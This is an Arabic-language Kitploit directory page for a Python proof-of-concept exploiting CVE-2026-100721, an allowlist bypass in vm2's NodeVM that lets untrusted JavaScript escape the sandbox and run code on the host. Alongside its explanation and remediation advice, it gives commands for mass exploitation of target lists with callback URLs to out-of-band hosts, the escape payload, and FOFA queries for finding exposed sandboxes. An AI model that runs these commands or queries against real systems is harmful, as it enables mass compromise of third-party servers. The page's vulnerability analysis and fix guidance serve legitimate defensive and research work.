Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-100721 — Python PoC لـ CVE-2026-100721: يكتشف ويستغل تجاوز قائمة السماح الخارجية في NodeVM الخاص بـ vm2 <3.12.2، مما يحقق الهروب من الـ sandbox وتنفيذ أوامر عن بُعد على المضيف عبر مختبر محلي أو أهداف HTTP جماعية. | Kitploit
أدوات/GitHubGitHub/murrez/cve-2026-100721
الاستطلاعماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالالبرمجة النصية والأتمتةاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubmurrez/cve-2026-100721

CVE-2026-100721

Python PoC لـ CVE-2026-100721: يكتشف ويستغل تجاوز قائمة السماح الخارجية في NodeVM الخاص بـ vm2 <3.12.2، مما يحقق الهروب من الـ sandbox وتنفيذ أوامر عن بُعد على المضيف عبر مختبر محلي أو أهداف HTTP جماعية.

منذ 5 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-100721 — تجاوز قائمة السماح الخارجية في vm2 NodeVM

Python 3 PoC لـ CVE-2026-100721 — vm2 (npm) قبل 3.12.2 تفويض غير صحيح في مُحلِّل الوحدات الخارجية NodeVM، مما يؤدي إلى الهروب من الـ sandbox وتنفيذ كود على المضيف عندما يعمل JavaScript غير موثوق داخل embedder مُهيَّأ بشكل خاطئ.

صفحة PoC: https://pocbit.org/pocs/cve-2026-100721


ما هو vm2؟

vm2 هي مكتبة Node.js واسعة الاستخدام لتشغيل JavaScript غير موثوق داخل sandbox ضمن نفس عملية Node. تستخدم التطبيقات NodeVM مع قيود مثل:

  • require.builtin — الوحدات الأساسية التي قد يحمّلها كود الضيف (fs، child_process، …)
  • require.external — قائمة سماح بأسماء حزم npm (مثل left-pad، lodash فقط)
  • require.resolve — مُحلِّل مخصص يشير إلى دليل إضافات أو تبعيات يتحكم به المضيف
  • context: 'host' — الحزم الخارجية تُحمَّل عبر require() الحقيقي للمضيف (شائع للأداء)

الـ embedders النموذجية: منصات سكربتات المستخدمين، مشغّلات low-code، أسواق الإضافات، بيئات التطوير عبر الإنترنت، sandboxes الأتمتة، وخدمات "safe eval" الداخلية.


الثغرة بلغة مبسطة

CVE-2026-100721 هي تفويض غير صحيح (CWE-863) في كيفية تحديد vm2 لما إذا كان require("package-name") من الضيف مسموحًا به.

تم إصلاح خللين مرتبطين عبر إصدارات vm2 (نفس فئة الخلل — التباس في حدود الاسم / المسار):

1. مطابقة جزء من اسم الحزمة (GHSA-c48m-32m9-vx93)

يبني الفحص المسبق لقائمة السماح نمطًا من مدخلات مثل left-pad لكنه لا يفرض حدًا كاملًا لاسم الحزمة. يمكن لكود الضيف طلب evil-left-pad لأن النص يحتوي على left-pad. إذا كانت تلك الحزمة المتصادمة موجودة على مسار يمكن لـ المُحلِّل المخصص الوصول إليه، فإن vm2 يحمّلها في سياق المضيف. كود الوحدة من المستوى الأعلى يعمل قبل تغليف الـ sandbox → child_process، قراءة الملفات، الأسرار، إلخ.

2. مطابقة بادئة المسار المُحلَّل (lib/resolver-compat.js، تم إصلاحه في 3.12.2)

عند استخدام مُحلِّل مخصص مع context: 'host'، يسجّل vm2 الأدلة المسموح بها باستخدام تعبير نمطي للبادئة دون فاصل مسار / حد نهاية صارم. يمكن للضيف لاحقًا استخدام require() على مسار مطلق إلى شقيق غير مُدرَج في قائمة السماح (مثل .../node_modules/foo2/index.js عندما يكون foo فقط مُدرَجًا). يمر الشقيق عبر isPathAllowedForModule ويُنفَّذ في عملية المضيف.

المتأثر: vm2 < 3.12.2 (CVE-2026-100721). إصلاحات تصادم الأسماء ذات الصلة وصلت أيضًا في 3.11.7.
الإصلاح: الترقية إلى vm2 ≥ 3.12.2 (والبقاء على أحدث إصدار).

المقياسالقيمة
CVSS 3.19.0 حرج — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS 4.09.5 حرج (Rapid7 / VulnCheck)
المصادقةسلسلة الاستغلال تبدأ عادةً بعد تنفيذ كود بصلاحيات منخفضة داخل الـ sandbox (PR:L في التنبيه)
الفضلTencent Xuanwu Lab XlabAI، محرك Atuin، Guannan Wang وآخرون

متطلبات الهجوم (عمليات النشر الفعلية)

"RCE بطلب HTTP واحد" عن بُعد ليس شاملًا. السلاسل العملية تحتاج:

  1. التطبيق ينفّذ JS يتحكم به المهاجم داخل vm2 NodeVM.
  2. قائمة سماح require.external + غالبًا require.resolve مخصص.
  3. context: 'host' (أو ما يعادله من تحميل على المضيف) للحزم الخارجية.
  4. حزمة متصادمة موجودة بالفعل على القرص أو يمكن للمهاجم وضع واحدة (دليل رفع الإضافات، مجلد سجل خاص متزامن، مسار تبعيات المستأجر).

عندما تتوافق هذه الشروط، يكون التأثير اختراقًا كاملًا لعملية Node على المضيف — وليس مجرد إساءة استخدام sandbox الضيف.


ما يفعله هذا PoC

الوضعالسلوك
--labاستغلال محلي موثوق: lab/ يثبّت vm2 3.11.5، يبني evil-left-pad، يوضّح POCBIT-100721-HOST_EXEC (يعكس تنبيه المورّد)
checkبصمة vm2 عن بُعد (package.json، lockfiles، حزم JS)، الإصدار < 3.12.2، --probe-exec اختياري ضد مسارات API الشائعة للـ sandbox
exploitPOST قابل للتوسع الجماعي لـ JS فحص تجاوز قائمة السماح (evil-left-pad، أسماء متصادمة) إلى --exec-paths القابلة للتهيئة؛ يضع علامة exploited عند وجود علامة في الاستجابة أو سطح API للـ sandbox + --callback-url
Mass bulk--list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt

حقول PoCbit JSONL: pocbit، pocbit_catalog، pocbit_page في كل صف.
CLI: شعار PoCbit أخضر/أرجواني، تلوين [EXPLOIT] / [SENT] / [FAIL] / [HIT] (--no-color للتعطيل).

مهم: وضع الاستغلال عن بُعد يستهدف مشغّلات sandbox عبر HTTP التي تهيّئها. للتحقق من المكتبة فقط، استخدم python poc.py --lab (يتطلب Node.js + npm).


المتطلبات

pip install -r requirements.txt
المكوّنالغرض
Python 3.9+الماسح / مشغّل الاستغلال الجماعي
Node.js + npm--lab فقط (موصى به لفهم CVE)

الاستخدام

المختبر المحلي (إثبات كامل للهروب من الـ sandbox)

cd CVE-2026-100721
python poc.py --lab

المتوقع على vm2 المصاب:

[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE

الكشف عن بُعد

python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec

الاستغلال (هدف واحد)

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --exec-paths /api/run,/api/eval --code-field code

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --callback-url http://your-collaborator.example/cve-100721

الاستغلال الجماعي الواسع

python poc.py --list targets.txt --mode exploit \
  --exec-paths /api/run,/api/sandbox/run \
  --callback-url http://oast.example.com/hit -j 15

سكربت ضيف مخصص:

python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js

المخرجات:

  • cve_2026_100721_exploit.jsonl — JSON لكل هدف
  • exploited.txt — الأهداف التي حدث فيها علامة الهروب، أو سطح callback، أو إصابة API الـ sandbox

مسارات API الافتراضية للـ sandbox (قابلة للتعديل)

يتحقق المشغّل من الأنماط الشائعة (تجاوزها بـ --exec-paths):

/api/run، /api/eval، /api/execute، /api/sandbox/run، /api/vm/run، /api/code/run، /run، /execute، /eval، /api/v1/run، /api/playground/run، …

حقول جسم JSON المُجرَّبة: code، script، source، javascript، js، payload، … (تجاوزها بـ --code-field).


حمولة الضيف (المفهوم)

سكربت الاستغلال JS المدمج يكرّر أسماء حزم متصادمة مثل evil-left-pad (PoC تجاوز قائمة السماح). على embedder مصاب يستضيف بالفعل الحزمة المتصادمة:

require("evil-left-pad");  // host top-level code runs → sandbox escape

الملف المحلي lab/poc.js ينفّذ سيناريو التنبيه الموثوق الكامل مع external: ['left-pad']، builtin: []، و**resolve** مخصص.


المعالجة

  1. ترقية vm2 إلى ≥ 3.12.2 في كل خدمة تُضمّنه (تحقق من lockfiles وطبقات Docker).
  2. لا تحمّل الحزم الخارجية في سياق المضيف إلا عند الضرورة القصوى؛ فضّل سياق الـ sandbox مع مُحلِّل مُحصَّن.
  3. تعامل مع أدلة الإضافات / تبعيات المستخدم كغير موثوقة — لا تُحلّل أبدًا أسماء حزم يختارها المهاجم إلى require المضيف.
  4. عطّل أو قيّد واجهات "تشغيل كود المستخدم" العامة خلف مصادقة قوية وتحليل ثابت.
  5. الجرد: npm ls vm2، SBOM، فحوصات الحاويات، Shodan/FOFA لـ "playground" + حزمة Node.

FOFA / الصيد (أمثلة)

body="vm2"
header="Express"
title="playground"
body="/api/eval"
body="NodeVM"

اجمعها مع /package-lock.json أو /node_modules/vm2/package.json المكشوفين (تهيئة خاطئة) لتأكيد الإصدار.


المراجع

تنزيل الأداة